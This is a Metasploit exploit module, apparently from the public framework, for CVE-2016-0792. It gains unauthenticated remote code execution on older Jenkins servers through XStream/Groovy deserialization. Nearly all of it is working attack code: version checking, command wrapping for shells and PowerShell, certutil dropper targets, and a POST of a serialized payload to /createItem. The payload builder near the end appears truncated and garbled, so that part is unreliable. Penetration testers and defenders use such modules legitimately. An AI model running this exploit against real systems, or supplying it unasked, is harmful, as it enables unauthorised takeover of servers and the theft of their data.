## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability', 'Description' => %q{ This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability. }, 'Author' => [ 'Arshan Dabirsiaghi', # Vulnerability discovery 'Matt Byrne ' # Metasploit module ], 'DisclosureDate' => 'Feb 24 2016', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-0792'], ['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'], ['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413'] ], 'Platform' => %w{ win linux unix }, 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD ], ['Python (In-Memory)', 'Platform' => 'python', 'Arch' => ARCH_PYTHON ], ['PowerShell (In-Memory)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ], ['Windows (CMD)', 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'adduser, generic' } } ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', '']), Opt::RPORT('8080') ]) deregister_options('URIPATH') end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650 return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit case target.name when /Unix/, /Python/, /CMD/ execute_command(payload.encoded) when /PowerShell/ execute_command(payload.encoded) wait_for_session else execute_cmdstager({:flavor => :certutil}) wait_for_session end end # Exploit methods def execute_command(cmd, opts = {}) cmd = case target.name when /Unix/, /Linux/ %W{/bin/sh -c #{cmd}} when /Python/ %W{python -c #{cmd}} when /Windows/, /CMD/ %W{cmd.exe /c #{cmd}} when /PowerShell/ psh_opts = { :remove_comspec => true, :wrap_double_quotes => true } %W{cmd.exe /c #{cmd_psh_payload(cmd, payload_instance.arch.first, psh_opts)}} end # Encode each command argument with XML entities cmd.map! { |arg| arg.encode(xml: :text) } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/createItem'), 'vars_get' => { 'name' => 'random' }, 'ctype' => 'application/xml', 'data' => xstream_payload(cmd) ) end def wait_for_session print_status "Waiting for exploit to complete..." begin Timeout.timeout(datastore['ListenerTimeout']) do loop do break if session_created? Rex.sleep(0.25) end end rescue ::Timeout::Error fail_with(Failure::Unknown, "Timeout waiting for exploit to complete") end end def xstream_payload(cmd) < hashCode #{cmd.join('')} start 1 EOF end end